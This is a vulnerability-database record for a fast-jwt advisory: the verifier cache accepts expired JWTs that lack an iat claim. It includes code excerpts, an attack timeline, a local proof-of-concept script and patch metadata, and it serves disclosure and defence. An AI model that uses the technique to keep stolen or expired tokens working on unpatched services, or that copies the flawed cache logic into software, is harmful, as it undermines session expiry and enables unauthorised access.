{"schema":"threatline.record/2","record":{"id":"CVE-2026-107719","aliases":["GHSA-x937-hj6v-793p"],"summary":"fast-jwt: Verifier cache accepts expired JWTs without iat.","details":"### Summary\n`cacheSet` only derives its `exp` cache deadline inside `hasIat` (`src/verifier.js:127-140`). JWT `iat` is optional. For a valid token with `exp` but no `iat`, `cacheSet` substitutes `clockTimestamp + clockTolerance + cacheTTL` (`src/verifier.js:142-146`). Later, the cache path returns the saved payload before decoding or invoking `verifyToken` (`src/verifier.js:372-388`). Since expiration validation is in `verifyToken`, the expired token remains accepted until the cache deadline.\n\n### Details\nThe bug is an expiration-check bypass caused by caching.\n\nNormally, verification works like this:\n\n  1. Verify signature.\n  2. Check exp against the current time.\n  3. Return the JWT claims.\n\nWith caching enabled, `fast-jwt` saves successful verification results so it can avoid repeating crypto work for the same token.\n\nThe intended invariant is:\n\n  > A cached token must stop being accepted at the same time as a non-cached token.\n\nBut the cache computes its expiration incorrectly.\n\nIn `fast-jwt/src/verifier.js:127`, the code first checks whether the payload has an iat (“issued at”) claim:\n\n```js\nconst hasIat = payload && typeof payload.iat === 'number'\n\nif (hasIat) {\n  if (!ignoreExpiration && typeof payload.exp === 'number') {\n    cacheValue[2] = payload.exp * 1000 + clockTolerance\n  }\n}\n```\n\nThat means `exp` is considered only when `iat` exists.\n\nHowever, `iat` is optional in JWT. A perfectly valid JWT may contain:\n\n```js\n{\n    \"sub\": \"alice\",\n    \"exp\": 1700000001\n}\n```\nwith no iat.\n\nFor that token, the expiration-based cache deadline is never set. The code falls back to the generic cache TTL—10 minutes by default:\n\n```js\nconst maxTTL = clockTimestamp + clockTolerance + cacheTTL\ncacheValue[2] = cacheValue[2] === 0 ? maxTTL : Math.min(cacheValue[2], maxTTL)\n```\n\nLater, cache lookup happens before decoding and expiration validation:\n\n```js\nconst [value, min, max] = cache.get(cacheKeyBuilder(token)) || [undefined, 0, 0]\n\nif (typeof value !== 'undefined' && (max === 0 || now <= max)) {\n  return handleCachedResult(value, callback, promise)\n}\n```\n\nSo the timeline is:\n\n```\n  12:00:00  Token has exp = 12:00:01, no iat.\n  12:00:00  Server verifies it successfully and caches its claims.\n  12:00:01  Token expires.\n  12:00:02  Attacker replays the identical token.\n  12:00:02  Cache hit returns old claims; exp is never rechecked.\n  12:10:00  Cache TTL finally ends; normal expiration rejection resumes.\n```\n\nAn attacker cannot forge a token through this issue. They need a valid token first; typically their own, or a stolen bearer token. But they can keep using it after its intended expiration if all of these are true:\n\n  - The application enables `cache`.\n  - The JWT has `exp` but no `iat`.\n  - The token was cached before expiry.\n  - It is replayed before the cache entry expires.\n\nImpact depends on the application. For a short-lived access token, it can extend access by up to the configured `cacheTTL` of 10 minutes by default, or more if the application configured it that way. This undermines expiry as an authentication/session boundary.\n\nThe minimal repair is to calculate the cache deadline from `exp` independently of `iat`. `iat` should only matter for `maxAge`, because max age is inherently defined relative to issuance time.\n\n### PoC\n```js\nconst assert = require('node:assert/strict')\nconst { createSigner, createVerifier } = require('fast-jwt')\n\nconst key = 'audit-only-secret'\nconst originalNow = Date.now\n\ntry {\n  const initialNow = 1_700_000_000_000\n  const exp = Math.floor(initialNow / 1000) + 1 // expires one second later\n\n  // noTimestamp intentionally omits iat, while exp is retained.\n  const sign = createSigner({\n    key,\n    algorithm: 'HS256',\n    noTimestamp: true\n  })\n  const token = sign({ sub: 'alice', exp })\n\n  const verify = createVerifier({\n    key,\n    algorithms: ['HS256'],\n    cache: true,\n    cacheTTL: 60_000\n  })\n\n  Date.now = () => initialNow\n  assert.equal(verify(token).sub, 'alice') // Valid; stores cache entry.\n\n  Date.now = () => exp * 1000 + 1\n  assert.equal(verify(token).sub, 'alice') // BUG: should throw FAST_JWT_EXPIRED.\n\n  console.log('VULNERABLE: expired exp-without-iat token served from cache')\n} finally {\n  Date.now = originalNow\n}\n```\n\n### Impact\nThis is an authentication/session-expiration bypass caused by incorrect cache validation.\nThe following are impacted:\n  - Applications using the affected fast-jwt code with cache: true.\n  - Applications that rely on JWT exp to end sessions or limit bearer-token lifetime.\n  - Tokens with exp but no iat, after they were successfully verified and cached.","categories":["Libraries & packages"],"product":"fast-jwt","vendor":"nearform","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-x937-hj6v-793p","source_modified_at":"2026-10-08T22:10:36Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"fast-jwt"},"range":"<= 6.3.3"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-107719","source_modified_at":"2026-10-09T15:48:26.096Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"fast-jwt","vendor":"nearform","versions":[{"status":"affected","version":"< 6.3.4"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-x937-hj6v-793p","source_modified_at":"2026-10-08T22:30:41.090413721Z","fetched_at":"2026-10-23T18:52:38.922436Z","package":{"name":"fast-jwt","ecosystem":"npm","purl":"pkg:npm/fast-jwt"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.3.4"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-x937-hj6v-793p","source_modified_at":"2026-10-08T22:10:36Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"fast-jwt"},"version":"6.3.4"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-x937-hj6v-793p","source_modified_at":"2026-10-08T22:30:41.090413721Z","fetched_at":"2026-10-23T18:52:38.922436Z","package":{"name":"fast-jwt","ecosystem":"npm","purl":"pkg:npm/fast-jwt"},"version":"6.3.4"}],"cvss":4.2,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00226,"percentile":0.12612,"score_date":"2026-10-23"},"published_at":"2026-10-08T21:41:55.342Z","modified_at":"2026-10-09T15:48:26.096Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-x937-hj6v-793p","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T22:10:36Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-107719","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-09T15:48:26.096Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-x937-hj6v-793p","fetched_at":"2026-10-23T18:52:38.922436Z","source_modified_at":"2026-10-08T22:30:41.090413721Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107719","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-x937-hj6v-793p","tags":["exploit"]},{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/commit/fc1ddbbe5ce38066ba2cea0b0ce0233932757167","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/nearform/fast-jwt/releases/tag/v6.3.4","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-x937-hj6v-793p","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-10-09T15:48:11.496610Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-09T15:48:26.096Z","content_hash":"14569d3e84961e0cc1998b20b8d166fb4bef0965527706f1bb0a5efe45cd0453"}}
